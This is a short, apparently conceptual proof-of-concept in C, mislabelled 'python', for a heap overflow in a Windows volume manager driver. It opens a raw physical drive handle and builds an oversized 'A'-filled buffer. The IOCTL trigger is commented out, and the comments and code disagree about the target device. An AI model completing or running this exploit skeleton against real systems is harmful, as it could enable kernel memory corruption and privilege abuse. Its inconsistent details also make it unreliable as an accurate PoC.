The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-40380
* Conceptual demonstration of triggering the heap overflow in Volume Manager Extension Driver.
* Requires Admin privileges and physical access.
*/
#include <windows.h>
#include <stdio.h>
int main() {
HANDLE hDevice;
DWORD bytesReturned;
// Generic device path for demonstration
LPCSTR devicePath = "\\\\.\\PhysicalDrive0";
// Attempt to open handle to the volume manager driver
hDevice = CreateFileA(devicePath,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[!] Failed to open device. Error: %d\n", GetLastError());
return 1;
}
printf("[*] Device handle opened.\n");
// Allocate a buffer larger than the expected size to trigger overflow
// Assuming the driver expects a small struct but copies a fixed large size
DWORD exploitSize = 0x2000;
BYTE* exploitBuffer = (BYTE*)malloc(exploitSize);
memset(exploitBuffer, 0x41, exploitSize); // Fill with 'A' pattern
printf("[*] Sending malicious buffer of size %d...\n", exploitSize);
// Send IOCTL (Code would need to be reverse engineered from the specific driver)
// DWORD ioctlCode = 0xXXXXXXXX;
// DeviceIoControl(hDevice, ioctlCode, exploitBuffer, exploitSize, NULL, 0, &bytesReturned, NULL);
printf("[*] Exploit trigger sent (IOCTL call commented out for safety).\n");
free(exploitBuffer);
CloseHandle(hDevice);
return 0;
}